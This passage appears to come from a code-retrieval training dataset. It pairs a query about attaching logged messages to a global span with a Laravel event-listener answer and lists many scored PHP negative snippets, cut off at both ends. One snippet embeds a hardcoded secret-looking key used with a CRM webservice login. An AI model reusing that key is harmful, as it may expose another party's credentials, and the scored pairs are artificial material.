in_array(strtolower($v), array('false', 'off', '-', 'no', 'n', '0', '')) ? false : true;\n } else {\n $v = (boolean) $v;\n }\n }\n\n if ($this->is_active !== $v) {\n $this->is_active = $v;\n $this->modifiedColumns[] = YearPeer::IS_ACTIVE;\n }\n\n\n return $this;\n }", "public function activate() {\n add_option( 'wpb_js_composer_do_activation_redirect', true );\n }", "public function activate();", "public function activate();" ]
[ "0.62192756", "0.60850364", "0.6044792", "0.59919953", "0.5801004", "0.5722481", "0.56322944", "0.5617547", "0.5586583", "0.55706406", "0.55452085", "0.5527366", "0.5444551", "0.5444551", "0.54441315", "0.54335856", "0.54243225", "0.54231316", "0.54200155", "0.54200155", "0.54166716", "0.53961194", "0.53714377", "0.5357956", "0.5310791", "0.529909", "0.52881926", "0.5280445", "0.5252922", "0.5246905", "0.52416885", "0.52239615", "0.51962507", "0.51718366", "0.5166968", "0.5164663", "0.5153055", "0.51458544", "0.51458544", "0.51454663", "0.51454663", "0.51454663", "0.51454663", "0.51436925", "0.5136046", "0.5136046", "0.5136046", "0.5136046", "0.5120757", "0.5113124", "0.51110333", "0.5099437", "0.50696945", "0.5054337", "0.5051377", "0.50467944", "0.50440013", "0.50418663", "0.50365454", "0.50259775", "0.50144243", "0.5006489", "0.499906", "0.4974557", "0.49643818", "0.4954624", "0.49504265", "0.49493715", "0.4947625", "0.49296808", "0.4927459", "0.49228635", "0.49219033", "0.49219033", "0.49138373", "0.49108276", "0.48957127", "0.48788375", "0.48768756", "0.48681706", "0.48663124", "0.48663124", "0.4861364", "0.48482263", "0.4846844", "0.4841567", "0.4841236", "0.48332188", "0.4827834", "0.4827034", "0.48259106", "0.48197216", "0.481351", "0.48002598", "0.47999394", "0.47994375", "0.47994313", "0.4795834", "0.4789291", "0.4789291" ]
0.75640607
0
Listen for each logged message and attach it to the global span
protected function registerEvents(): void { Event::listen(MessageLogged::class, function (MessageLogged $e) { if( app()->bound('current-context') ) app('current-context')->log((array)$e); }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function send_log() {\n MessageLogger::add_log($this->log);\n $this->log = \"\";\n }", "public function listen() {\n\t\t$fields = wp_parse_args( $_POST, array(\n\t\t\t'check' => '',\n\t\t\t'log-level' => '',\n\t\t\t'log-engine' => '',\n\t\t) );\n\n\t\tforeach ( $fields as &$single_field ) {\n\t\t\t$single_field = sanitize_text_field( $single_field );\n\t\t}\n\n\t\tif ( ! wp_verify_nonce( $fields['check'], 'logging-controls' ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t/**\n\t\t * Fires before log settings are committed.\n\t\t *\n\t\t * This will not happen unless a nonce check has already passed.\n\t\t */\n\t\tdo_action( 'tribe_common_update_log_settings' );\n\n\t\t$this->update_logging_level( $fields['log-level'] );\n\t\t$this->update_logging_engine( $fields['log-engine'] );\n\n\t\t/**\n\t\t * Fires immediately after log settings have been committed.\n\t\t */\n\t\tdo_action( 'tribe_common_updated_log_settings' );\n\n\t\t$data = array(\n\t\t\t'logs' => $this->get_available_logs(),\n\t\t);\n\n\t\tif ( ! empty( $fields['log-view'] ) ) {\n\t\t\t$data['entries'] = $this->get_log_entries( $fields['log-view'] );\n\t\t}\n\n\t\twp_send_json_success( $data );\n\t}", "private function _log($msg)\n\t{\n\t\t$this->EE->TMPL->log_item(\"Low Events: {$msg}\");\n\t}", "public function log($msg, $style = '')\n {\n $this->entries[] = [$msg, $style];\n }", "function record_message($message) {\n global $messages;\n array_push($messages, $message);\n}", "function notify($event)\n {\n if(SWConfig::read_values('statuswolf.debug'))\n {\n $this->loggy = new KLogger(ROOT . 'app/log/', KLogger::DEBUG);\n }\n else\n {\n $this->loggy = new KLogger(ROOT . 'app/log/', KLogger::INFO);\n }\n\n $this->auth_log_messages[] = $event;\n\n $this->loggy->logDebug(json_encode($this->auth_log_messages));\n }", "function getLog(){\n\t\t$log = $this->msgHandler->getLog();\n\t\treturn $this->translator->markupAttributes('div', $log, array('style'=>'overflow: scroll; height: 25%; width: 50%; margin: auto;'));\n\t}", "public function log (string $msg) : void {\n\t\t$this->logs [] = $msg;\n\t}", "private function log($message) {\n //echo $message . \"\\n\";\n }", "function userclass2_adminlog($msg_num='00', $woffle='')\n{\n\te107::getAdminLog()->log_event('UCLASS_'.$msg_num,$woffle,E_LOG_INFORMATIVE,'');\n}", "function trackUser($message)\n{\n $fp = fopen('jammer_log.txt', 'a');\n fwrite($fp, $_SERVER[REMOTE_ADDR].\" \". date('Y-m-d H:i:s').\" \".$message.\"\\n\"); \n fclose($fp);\n\n $hit = track($_SERVER[REMOTE_ADDR]);\n return $hit;\n}", "function TransLog($message){\t\n notify_webmaster($message);\t\n}", "function trace( $message )\n{\n\t$registry = Registry::getInstance();\n\tif ( $registry->keyExists( 'trace_messages' ) )\n\t{\n\t\t$trace_messages = $registry->get( 'trace_messages' );\n\t}\n\t$trace_messages[] = $message;\n\t$registry->set( \"trace_messages\", $trace_messages );\n}", "abstract public function log( $message );", "public function logws()\n {\n $client = new Client(\"ws://localhost:8010/\"); // logger service port\n $client->send(\"Hello Goldcut!\");\n $client->send(\"Hello Goldcut! 2\");\n\n // echo $client->receive();\n // echo $client->receive();\n // echo $client->receive();\n }", "function logger($message)\n\t\t{\n\t\t\t$requester=$_SERVER['REMOTE_ADDR'];\n\t\t\t$log = new Logging();\n\t\t\t$log->logfile('./'.$this->aps->id.'.log');\n\t\t\t$log->logwrite($requester.\":\".$message);\n\t\t\t$log->logclose();\n\t\t}", "public function record($message = ''){\r\n\t\t$end = explode(' ', microtime());\r\n\t\t$cpu_time = ($end[1]+$end[0]) - $this->previousEndTime;\t\r\n\t\t\r\n\t\t$this->stat[] = array('time' => time(), \r\n\t\t\t\t\t\t\t\t\t\t 'info' => $message, \r\n\t\t\t\t\t\t\t\t\t\t 'memory_usage' => memory_get_usage($this->real_usage),\r\n\t\t\t\t\t\t\t\t\t\t 'execution_time' => $cpu_time\r\n\t\t\t\t\t\t\t\t\t\t );\r\n\t\t\t\t\t\t\t\t\t\t \r\n\t\t$this->previousEndTime=$end[1]+$end[0];\r\n\t}", "abstract public function log($msg, $style = '');", "abstract public function log($msg, $style = '');", "private static function addLog($msg) {\n\t\tself::$log[] = '\"'.formatTimestamp(time()).' - '.$msg.'\"';\n\t}", "protected function logMeasurement( $message ) {\n $message = sprintf( \n '%s %s %s', \n $this->getTimeStamp(),\n $this->id,\n $message\n );\n \n $this->messages .= $message.PHP_EOL; \n }", "public function trackMe($msg){\n\t\t$mt = explode(' ', microtime());\n\t\t// $time = ((int)$mt[1]) * 1000 + ((int)round($mt[0] * 1000));\n\t\t$time = time();\n\t\techo \"<hr noshade>\";\n\t\techo \"<hr >\";\n\t\techo $time . \" -- \" .$msg;\n\t\techo \"<hr>\";\n\t\techo \"<hr noshade>\";\n\t}", "function log_message($message)\n{\n $total_message = date('[H:m:s] ') . $message . '<br />';\n echo $total_message;\n}", "public function log($message)\n {\n $view_log = new Logger('SMS Logs');\n\n $view_log->pushHandler(new StreamHandler(storage_path() . '/logs/smslog.log', Logger::INFO));\n\n $view_log->addInfo($message);\n }", "function count_new_messages() {\n $this->renderText(NotificationsActivityLogs::countSinceLastVisit($this->logged_user));\n }", "function statusMessagesOn()\n\t{\n\t\t$this->bStatusMessages = true;\n\t}", "public function log()\r\n {\r\n echo $this->message.PHP_EOL;\r\n }", "private function log($message) {\n\t\techo $message.\"\\n\";\n\t}", "function logevent($action) {\n require 'mgstats.php';\n //Pull the username or enter \"Not Logged In\"\n if($_SESSION['username']) { $remoteUN = $_SESSION['username']; } else { $remoteUN = \"Not Logged In\"; } \n $logTime = date('Y-m-d H:i:s'); //Establish Log time.\n $sid = session_id(); //Session ID\n $entry = $logTime.\"|\".$action.\"|\".$_SERVER['REMOTE_ADDR'].\"|\".$_SERVER['HTTP_USER_AGENT'].\"|\".$remoteUN.\"|\".$sid.\"\\n\"; //Create the variable for log entry\n $filename = \"logs/\".date('Y-m-d').\".log\"; //Build filename, changes by day.\n file_put_contents($filename,$entry, FILE_APPEND); //Appends the entry to the log file.\n return;\n}", "private function log_it($msg) {\n $this->log_msg_queue .= date('m/d/y H:i:s : ', time()) . $msg . PHP_EOL;\n }", "public function __logEvent($msg)\n {\n if ($this->logger) {\n $this->logger->log($msg, 'info', 'queries');\n }\n }", "function messages_notifier() {\n\tif (elgg_is_logged_in()) {\n\t\t$class = \"elgg-icon elgg-icon-mail\";\n\t\t$text = \"<span class='$class'></span>\";\n\t\t$tooltip = elgg_echo(\"messages\");\n\t\t\n\t\t// get unread messages\n\t\t$num_messages = (int)messages_count_unread();\n\t\tif ($num_messages != 0) {\n\t\t\t$text .= \"<span class=\\\"messages-new\\\">$num_messages</span>\";\n\t\t\t$tooltip .= \" (\" . elgg_echo(\"messages:unreadcount\", array($num_messages)) . \")\";\n\t\t}\n\n\t\telgg_register_menu_item('topbar', array(\n\t\t\t'name' => 'messages',\n\t\t\t'href' => 'messages/inbox/' . elgg_get_logged_in_user_entity()->username,\n\t\t\t'text' => $text,\n\t\t\t'priority' => 600,\n\t\t\t'title' => $tooltip,\n\t\t));\n\t}\n}", "function _log($text,$level=10) {\n if($this->logger) call_user_func($this->logger, $text, $level);\n }", "function taglinMsg()\n\t{\n/*:TODO*/\n\n\t}", "static function message($message)\n {\n global $template_vars;\n $template_vars['messages'][] = $message;\n }", "function jx_log() {\n header('Content-Type: application/json; charset=utf-8');\n\n $msg = (isset($_POST['msg'] )) ? ( (!empty($_POST['msg'] )) ? $_POST['msg'] : false ) : false;\n $type = (isset($_POST['type'])) ? ( (!empty($_POST['type'])) ? $_POST['type'] : 'ajax' ) : 'ajax';\n\n // all saving already happens in respond(), so no need to double it\n if($msg) toLog($msg,'ajax');\n else respond('false', 'logged with empty msg');\n }", "public function record_more ($msg, $has_html = false)\n {\n if (isset ($this->logs->logger))\n {\n $this->logs->logger->record_more ($msg, $has_html);\n }\n }", "protected function log() {\n }", "function LogThis($InpMsg)\n {\n echo date('Y-m-d H:i:s') . ' ' . $InpMsg . '<br>';\n flush();\n ob_flush();\n }", "public static function register(): void\n {\n GlobalMessage::setMessages(self::$messages);\n }", "public function attachAllHitStatObservers()\n\t{\n\t\t$event_log = new Stats_OLP_Observe_Eventlog();\n\t\t$event_log->observeHitStat($this);\n\t}", "protected function emitLoadMessages() {}", "public function log($message) {\n }", "public function log($message) {\n }", "public function log($message) {\n }", "public function log($msg)\n {\n }", "function logInfo (string $msg): void {\n\tlogString('('.$_SERVER['REMOTE_ADDR'].') ('.date('Y-m-d H:i:s').') [Info] '.$msg);\n}", "public function run()\r\n\t{\r\n $this->render('MessageDisplay');\r\n\t}", "public function onMessage($msgData) {\r\n\r\n }", "public static function trackMessages() {\n\t\tadd_filter( 'wp_new_user_notification_email' , array( self::class, 'track_wp_new_user_notification_email' ), 10, 3 );\n\t\t# Email sent to the user with the password reset link\n\t\tadd_filter( 'retrieve_password_message' , array( self::class, 'track_retrieve_password_message' ), 10, 4 );\n\t\t# Email sent to the user (via WooCommerce Account) with the password reset link\n\t\tadd_action( 'woocommerce_reset_password_notification' , array( self::class, 'track_wc_retrieve_password_message' ), 9, 2 );\n\t\t\n\t\t# Helper function to retrieve the password-reset key\n\t\tadd_filter( 'retrieve_password_key' , array( self::class, 'store_password_key' ), 10, 3 );\n\t}", "private static function log($message)\n\t{\n\t}", "public static function listen($callback){\n\t\t\\Illuminate\\Log\\Writer::listen($callback);\n\t}", "function logEvent($message)\n\t{\n\t\tdate_default_timezone_set ( \"America/Chicago\" );\n\t\t$time = date( \"Y-m-d H:i:s\");\n\t\t$fp = fopen('files/log.txt', 'a');\n\t\tfwrite($fp, $time.\"-- \");\n\t\tfwrite($fp, $message);\n\t\tfwrite($fp, \"\\n\");\n\t\tfclose($fp);\n\t}", "public function messages();", "public function messages();", "public function messages();", "public function log($level, $message, array $context = array())\n {\n //var_dump('<div class=\"'.$level.'\">'.$message.'</div>') ;\n echo '<div class=\"'.$level.'\">'.$message.'</div>' ;\n }", "function debug($message) {\n $_SESSION[\"debug\"][] = $message;\n }", "protected function socketLog(string $data): void\n {\n $this->smtpLog[] = $data;\n }", "public function appendLog($message);", "public function add($message = ''){\r\n\t\tif ($this->options['active'])\r\n\t\t\t$this->profiler->record($message);\r\n\t}", "public function log ( $msg )\n {\n if ( $this->file_handle == null) {\n $this->openFile();\n }\n\n fwrite($this->file_handle, \"[\" . date(\"H:i:s\") . \"] \" . $msg . \"\\n\");\n }", "static function log($message, $level = 0){\n print($message);\n //$messages = $_REQUEST[MESSAGES];\n if(key_exists(MESSAGES, $_REQUEST) && is_array($var)){\n $tmp = $var[$level][] = $message;\n }else{\n $tmp = array($level => array($message));\n }\n $_REQUEST[MESSAGES] = $tmp;\n }", "public function logData() {\n\t\t/* Implement in subclasses */\n\t}", "protected function log()\n {\n\n $this->worker\n ->setInstance($this->instance);\n // If instance can be called\n if($this->worker->ping()) {\n $infos = $this->worker->getInfos();\n $createdAt = new \\DateTime();\n\n $log = $this->logManager->createNew();\n $log->setMemory($infos['Memory']['used_memory']);\n $log->setCpu($infos['CPU']['used_cpu_sys']);\n $log->setNbClients(sizeof($this->worker->getClients()));\n $log->setCreatedAt($createdAt);\n // Add log\n $this->instance->addLog($log);\n }\n }", "protected function log($msg, $style = '')\n {\n if (isset($this->logger)) {\n $this->logger->log($msg, $style);\n }\n }", "function publishLog() {\n\t\t$id = $this->current_log;\t\t\n\t\t$res = $this->query(\"SELECT event_id FROM $this->table_log WHERE id=$id\");\n\t\t$row = $res->fetch_assoc();\n\t\t$cal_id = explode(\",\",$row['event_id']);\n\t\t$calEvent = $this->calendar_instance->getEventDetails($row['event_id']);\n\t\t$topic = $calEvent['caption'];\n\t\t$year = $calEvent['year'];\n\t\t$slug = $calEvent['slug'];\n\t\t$url = $this->generateCoolURL(\"/$year/$slug\");\n\t\t$this->addToActivityLog(\"publiserte logg fra <a href=\\\"$url\\\">$topic</a>.\",false,\"major\");\n\t}", "public function _log($sMessage) {\n $monoLog = $this->getContainer()->get('monolog.logger.cinotification_logs');\n $monoLog->info($sMessage);\n }", "public function logStatus()\n {\n //piece to handle the login/logout\n $u = $this->isAuth();\n $lstr = ($u) ? '<a href=\"/user/main\">' . $u .\n '</a> <a href=\"/user/logout\">[logout]</a>' :\n '<a href=\"/user/login\">login</a>';\n $this->template->write('logged', $lstr);\n }", "function printMessages()\n {\n //check if messages buffer contain any values\n if(isset($_SESSION['msg']))\n {\n echo \"{$_SESSION['msg']}\";\n unset($_SESSION['msg']);\n }\n }", "function log_info( $msg ){\n self::system_log( $msg, 'INFO' );\n }", "public function log($text)\n {\n }", "function changeLogs() {\n\n }", "public static function logging()\n {\n }", "protected function _log($message, $locale) {\n\t}", "function smsnews_log ($event='generic', $message='', $subscriber_id=0) {\n\n\tglobal $USER_LOGIN;\n\n\t$user = $USER_LOGIN;\n\t$event = db_escape($event);\n\t$message = db_escape(\"[$user] $message\");\n\t$subscriber_id += 0;\n\tdb(\n\t\t\"insert into smsnews.log (event,message,subscriber_id)\".\n\t\t\" values ('$event','$message',$subscriber_id)\"\n\t);\n}", "protected function _start_listening(){\r\n\t\t\tset_error_handler(array($this->_reporter, 'handle_error'));\r\n\t\t\tset_exception_handler(array($this->_reporter, 'handle_exception'));\r\n\t\t\terror_reporting(-1);\r\n\t\t\tini_set('display_errors', false);\r\n\t\t}", "function print_messages() {\n global $messages;\n foreach ($messages as $message) {\n echo \"<p class='message'><strong>\".htmlspecialchars($message).\"</strong></p>\\n\";\n }\n}", "public function logs()\n {\n $this->_display('logs');\n }", "public function log($msg, $style = '')\n {\n $msg = htmlspecialchars($msg);\n if ($style == 'bold') {\n echo '<b>' . $msg . '</b>';\n } elseif ($style == 'italic') {\n echo '<i>' . $msg . '</i>';\n } else {\n echo $msg;\n }\n }", "public static function log($level, $message) {\n//\t\tif (self::config()->log) {\n//\t\t\t$messages = str_split($message, 500);\n//\t\t\tfor ($i = 0; $i < count($messages); $i++) {\n//\t\t\t\tsyslog($level, $messages[$i]);\n//\t\t\t}\n//\t\t}\n\t}", "public function updated_message() {\n\t\t$tab = Template::current_tab();\n\n\t\t// Show updated notice.\n\t\tadd_action( 'beehive_admin_top_notices', function () use ( $tab ) {\n\t\t\tswitch ( $tab ) {\n\t\t\t\tcase 'tracking':\n\t\t\t\t\t$this->notice( __( 'Tracking ID updated successfully.', 'ga_trans' ), 'success', true );\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$this->notice( __( 'Changes were saved successfully.', 'ga_trans' ), 'success', true );\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t} );\n\t}", "static public function addAlert($message) {\n\t\t$_SESSION['alerts'][] = $message;\n\t}", "function log_and_flush(){\n\tglobal $log;\n\t$log .= ob_get_contents();\n\tob_flush();\n}", "private static function logging()\n {\n $files = ['Handler', 'Exception', 'Log'];\n $folder = static::$root.'Logging'.'/';\n\n self::call($files, $folder);\n }", "protected function AutoLog(){\r\n \r\n //DEPRECATED for test\r\n \r\n }", "function email_console_logs($message = '')\n {\n if ( ! Session::access('can_admin_members'))\n {\n return Cp::unauthorizedAccess();\n }\n\n\n // ------------------------------------\n // Define base variables\n // ------------------------------------\n\n $i = 0;\n\n\n $row_limit = 100;\n $paginate = '';\n $row_count = 0;\n\n Cp::$title = __('members.email_console_log');\n Cp::$crumb = Cp::anchor(BASE.'?C=Administration'.AMP.'area=members_and_groups', __('admin.members_and_groups')).\n Cp::breadcrumbItem(__('members.email_console_log'));\n\n Cp::$body = Cp::quickDiv('tableHeading', __('members.email_console_log'));\n\n if ($message != '') {\n Cp::$body .= Cp::quickDiv('successMessage', $message);\n }\n\n\n // ------------------------------------\n // Run Query\n // ------------------------------------\n\n $query = DB::table('email_console_cache')\n ->orderBy('cache_id', 'desc')\n ->select('cache_id', 'member_id', 'member_name', 'recipient_name', 'cache_date', 'subject');\n\n $total_query = clone $query;\n\n if ($total_query->count() == 0)\n {\n if ($message == '') {\n Cp::$body .= Cp::quickDiv('box', Cp::quickDiv('highlight', __('members.no_cached_email')));\n }\n\n return;\n }\n\n // ------------------------------------\n // Do we need pagination?\n // ------------------------------------\n\n if ($total_query->count() > $row_limit)\n {\n $row_count = ( ! Request::input('row')) ? 0 : Request::input('row');\n\n $url = BASE.'?C=Administration'.AMP.'M=members'.AMP.'P=email_console_logs';\n\n $paginate = Cp::pager( $url,\n $total_query->count(),\n $row_limit,\n $row_count,\n 'row'\n );\n\n $query->offset($row_count)->$limit($row_limit);\n\n $query = $query->get();\n }\n\n Cp::$body .= Cp::toggle();\n\n Cp::$body_props .= ' onload=\"magic_check()\" ';\n\n Cp::$body .= Cp::magicCheckboxesJavascript();\n\n Cp::$body .= Cp::formOpen(\n array(\n 'action' => 'C=Administration'.AMP.'M=members'.AMP.'P=delete_email_console',\n 'name' => 'target',\n 'id' => 'target'\n )\n );\n\n Cp::$body .= Cp::table('tableBorder', '0', '0', '100%').\n '<tr>'.PHP_EOL.\n Cp::tableCell('tableHeadingAlt',\n array(\n NBS,\n __('members.email_title'),\n __('members.from'),\n __('members.to'),\n __('members.date'),\n Cp::input_checkbox('toggleflag', '', '', \"onclick=\\\"toggle(this);\\\"\").NBS\n )\n ).\n '</tr>'.PHP_EOL;\n\n // ------------------------------------\n // Table Rows\n // ------------------------------------\n\n $row_count++;\n\n foreach ($query as $row)\n {\n Cp::$body .= Cp::tableQuickRow('',\n array(\n $row_count,\n\n Cp::anchorpop(BASE.'?C=Administration'.AMP.'M=members'.AMP.'P=view_email'.AMP.'id='.$row->cache_id.AMP.'Z=1', '<b>'.$row->subject.'</b>', '600', '580'),\n\n Cp::quickSpan('defaultBold', $row->member_name),\n\n Cp::quickSpan('defaultBold', $row->recipient_name),\n\n Localize::createHumanReadableDateTime($row->cache_date),\n\n Cp::input_checkbox('toggle[]', $row->cache_id, '', \" id='delete_box_\".$row->cache_id.\"'\")\n\n )\n );\n $row_count++;\n }\n\n Cp::$body .= '</table>'.PHP_EOL;\n\n\n if ($paginate != '')\n {\n Cp::$body .= Cp::quickDiv('littlePadding', Cp::quickDiv('defaultBold', $paginate));\n }\n\n Cp::$body .= Cp::quickDiv('paddingTop', Cp::input_submit(__('cp.delete')));\n\n Cp::$body .= '</form>'.PHP_EOL;\n }", "public function log()\n {\n $this->fetchFields();\n Log::console($this);\n }", "function dblog_event($id) {\n $severity = watchdog_severity_levels();\n $result = db_query('SELECT w.*, u.name, u.uid FROM {watchdog} w INNER JOIN {users} u ON w.uid = u.uid WHERE w.wid = :id', array(':id' => $id))->fetchObject();\n if ($dblog = $result) {\n $rows = array(\n array(\n array('data' => t('Type'), 'header' => TRUE),\n t($dblog->type),\n ),\n array(\n array('data' => t('Date'), 'header' => TRUE),\n format_date($dblog->timestamp, 'long'),\n ),\n array(\n array('data' => t('User'), 'header' => TRUE),\n theme('username', array('account' => $dblog)),\n ),\n array(\n array('data' => t('Location'), 'header' => TRUE),\n l($dblog->location, $dblog->location),\n ),\n array(\n array('data' => t('Referrer'), 'header' => TRUE),\n l($dblog->referer, $dblog->referer),\n ),\n array(\n array('data' => t('Message'), 'header' => TRUE),\n theme('dblog_message', array('event' => $dblog)),\n ),\n array(\n array('data' => t('Severity'), 'header' => TRUE),\n $severity[$dblog->severity],\n ),\n array(\n array('data' => t('Hostname'), 'header' => TRUE),\n check_plain($dblog->hostname),\n ),\n array(\n array('data' => t('Operations'), 'header' => TRUE),\n $dblog->link,\n ),\n );\n $build['dblog_table'] = array(\n '#theme' => 'table',\n '#rows' => $rows,\n '#attributes' => array('class' => array('dblog-event')),\n );\n return $build;\n }\n else {\n return '';\n }\n}", "function cis_login_message($msg) {\n\tglobal $cis_login_message;\n\t$cis_login_message[] = $msg;\n}", "public function log()\n \t{\n\t $reference = $this->session->userdata('logged_in');\n\t\tif(empty($reference)){\n\t\t\tredirect('','refresh');\n\t\t}\n\t\t$stu_id = $reference['cms_id'];\n\t\t$stu_role = $reference['cms_role'];\n\n\t\t$data['profile'] = $this->sam->get_students_profile_record($stu_id,$stu_role);\n\t\t$data['menus'] = $this->sam->get_menu_role_permissions($stu_role);\n\n\t\t$studentid \t = $data['profile']->stud_id;\n\t\t$studentrole = $data['profile']->roles_id;\n\n\t\t$data['message'] = $this->sam->get_all_unread_notification($studentid,$studentrole);\n\t\t$data['msg_list'] = $this->sam->get_all_unread_notification_detail_list($studentid,$studentrole);\n\n\t\t$data['notify_list'] = $this->sam->get_all_notifications_list_read_unread($studentid,$studentrole);\n\n\t\t// echo \"<pre>\";\n\t\t// print_r($data);die;\n\t\t\n\t\t$this->load->view('students/includes/header', $data);\n\t\t$this->load->view('students/includes/sidebar');\n\t\t$this->load->view('students/includes/top_header');\n\t\t$this->load->view('students/viewNotifications');\n\t\t$this->load->view('students/includes/footer');\n \t}", "public function record($msg) {\r\n \r\n // Busca a sessão portoweb existente\r\n $sessao = new Zend_Session_Namespace('portoweb');\r\n \r\n // Grava a mensagem na sessao\r\n $sessao->mensagemSistema = $msg;\r\n \r\n }", "public function prerender() {\n\t\t$logs = $this->logger->get_logs();\n\t\t$this->set_visible( ! empty( $logs ) );\n\t}", "function logMe() {\n\tglobal $conn;\n\t\t\n\t// THIS IS FOR YOU TO COMPLETE\n}", "public function listen() {\n add_filter( \"the_content\", array($this, \"theContent\"));\n add_filter( \"the_title\", array($this, \"theTitle\"));\n }", "public function send_events()\n {\n }", "function mclogparse($str) {\n\n\t// Prevent HTML interpretation\n\t$str = '<span id=\"mclogparse\">'.htmlspecialchars($str);\n\n\t// Colors\n\t$fgColors = array(\n\t\t30 => 'black',\n\t\t31 => 'red',\n\t\t32 => 'green',\n\t\t33 => 'yellow',\n\t\t34 => '#0055ff', // blue\n\t\t35 => 'magenta',\n\t\t36 => 'cyan',\n\t\t37 => 'white'\n\t);\n\n\t// Replace color codes\n\tforeach(array_keys($fgColors) as $color)\n\t\t$str = preg_replace(\"/\\x1B\\[\".$color.';(1m|22m)/','</span><span style=\"color: '.$fgColors[$color].';\">',$str);\n\t\n\t// Replace \"default\" codes with closing span\n\t$str = preg_replace(\"/\\x1B\\[(0;39|0;49)?m/\",'</span>', $str);\n\t\n\t// Color message types\n\t$str = strtr($str,array(\n\t\t'[INFO]' => '[<span style=\"color: #77ccff;\">INFO</span>]',\n\t\t'[WARNING]' => '[<span style=\"color: yellow;\">WARNING</span>]',\n\t\t'[SEVERE]' => '[<span style=\"color: red;\">SEVERE</span>]'\n\t));\n\t\n\treturn $str;\n\t\n}", "function log_event( $plugin_name, $log_msg, $log_type, $file, $line ) {\t\t$allowed = get_transient( 'ti_log_allowed' );\n\t\tif ( is_array( $allowed ) && in_array( $plugin_name, $allowed ) ) {\n\t\t\t$logs = get_transient( 'ti_log' . $plugin_name );\n\t\t\tif ( ! $logs ) {\n\t\t\t\t$logs = array();\n\t\t\t}\n\t\t\t$logs[] = array(\n\t\t\t\t'type' => $log_type,\n\t\t\t\t'msg' => $log_msg,\n\t\t\t\t'time' => date( 'F j, Y H:i:s', current_time( 'timestamp', true ) ),\n\t\t\t\t'file' => $file,\n\t\t\t\t'line' => $line,\n\t\t\t);\n\t\t\t// keep only the last LOG_LENGTH logs\n\t\t\t$logs = array_slice( $logs, 0 - self::LOG_LENGTH );\n\t\t\tset_transient( 'ti_log' . $plugin_name, $logs, self::LOG_OPTION_EXPIRY_MINS * MINUTE_IN_SECONDS );\n\t\t}\n\t}", "public static function logMessage(LoggerMessage $message)\n\t{\n\t\tif (!isset($_SESSION[__CLASS__]))\n\t\t\t$_SESSION[__CLASS__] = array();\n\n\t\t// Add the message to the session, to be show in the future\n\t\tarray_push($_SESSION[__CLASS__], serialize($message));\n\t}", "public function event_msg($who, $message)\r\n\t{\r\n\t\r\n\t}" ]
[ "0.5802164", "0.5746172", "0.56538665", "0.56199497", "0.55980885", "0.5466589", "0.54457885", "0.5390057", "0.52129394", "0.5185783", "0.51718813", "0.5132242", "0.51280725", "0.5115929", "0.51121336", "0.50865436", "0.5080143", "0.5054437", "0.5054437", "0.50462013", "0.5044093", "0.50369245", "0.50296533", "0.5027104", "0.5023817", "0.5013994", "0.50069296", "0.49910304", "0.49867323", "0.49721456", "0.49707964", "0.49700788", "0.49656892", "0.49651176", "0.4960612", "0.49570647", "0.49462563", "0.49447936", "0.492857", "0.4920509", "0.49175894", "0.49082458", "0.49024254", "0.49024254", "0.49024254", "0.4899012", "0.489775", "0.48972857", "0.48863322", "0.48819518", "0.48809037", "0.48742163", "0.48695302", "0.48627087", "0.48627087", "0.48627087", "0.48616645", "0.48600367", "0.48503053", "0.48472202", "0.48451805", "0.4837355", "0.48105174", "0.48072445", "0.47995996", "0.47959626", "0.47950554", "0.4786513", "0.47863388", "0.4782939", "0.4780818", "0.477553", "0.47742778", "0.4769342", "0.47643185", "0.47603577", "0.4748462", "0.47440714", "0.4743899", "0.4737122", "0.473515", "0.47282428", "0.47270823", "0.47197488", "0.47160953", "0.4715106", "0.471327", "0.4711692", "0.47093529", "0.4700721", "0.46978968", "0.46953353", "0.46952653", "0.46923837", "0.4686246", "0.46822077", "0.4680748", "0.46788508", "0.46783423", "0.46671903" ]
0.5649857
3
It just returns one for the challenge
public function findByUser(Criteria $criteria): ?Account { $accounts = array_filter(parent::findAll(), function (Account $account) use ($criteria) { return $account->userId()->value() == $criteria->value(); }); return empty($accounts) ? null : array_pop($accounts); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getChallengeId($challenge_name) {\n $challenges = challenges();\n foreach ($challenges as $challenge_id => $data) {\n if (preg_match('/'.$data['name'].'/i',$challenge_name)) {\n return $challenge_id;\n }\n }\n return false;\n}", "public function getChallenge()\n\t{\n\t}", "public function getNamaChallenge();", "function getChallengeIdFromSafename($safename) {\n $challenges = challenges();\n foreach ($challenges as $challenge_id => $data) {\n if (preg_match('/^'.$data['safename'].'$/i',$safename)) {\n return $challenge_id;\n }\n }\n return false;\n}", "function getchallenge() {\n $curl = curl_init();\n\n curl_setopt_array($curl, array(\n CURLOPT_URL => \"https://develop.datacrm.la/datacrm/pruebatecnica/webservice.php?operation=getchallenge&username=prueba\",\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_ENCODING => \"\",\n CURLOPT_MAXREDIRS => 10,\n CURLOPT_TIMEOUT => 30,\n CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,\n CURLOPT_CUSTOMREQUEST => \"GET\",\n CURLOPT_HTTPHEADER => array(\n \"Accept: */*\",\n \"Accept-Encoding: gzip, deflate\",\n \"Connection: keep-alive\",\n \"Host: develop.datacrm.la\",\n \"Postman-Token: 39408df1-ad3a-44cc-a566-006383a6b02b,5f7ca2e6-c62d-4ad9-866e-cc3376b50aeb\",\n \"User-Agent: PostmanRuntime/7.19.0\",\n ),\n ));\n\n $response = curl_exec($curl);\n $err = curl_error($curl);\n $arrayJson = json_decode($response);\n $token = $arrayJson->result->token;\n curl_close($curl);\n\n if ($err) {\n echo \"cURL Error #:\" . $err;\n } else {\n return hash('md5', $token.'55kt1mJbtDFpsw1t');\n }\n }", "public function generateChallenge()\n {\n // Easy\n if (Captcha::$config['complexity'] < 4) {\n $numbers[] = mt_rand(1, 5);\n $numbers[] = mt_rand(1, 4);\n }\n // Normal\n elseif (Captcha::$config['complexity'] < 7) {\n $numbers[] = mt_rand(10, 20);\n $numbers[] = mt_rand(1, 10);\n }\n // Difficult, well, not really ;)\n else {\n $numbers[] = mt_rand(100, 200);\n $numbers[] = mt_rand(10, 20);\n $numbers[] = mt_rand(1, 10);\n }\n\n // Store the question for output\n $this->mathExercise = implode(' + ', $numbers) . ' = ';\n\n // Return the answer\n $this->response = 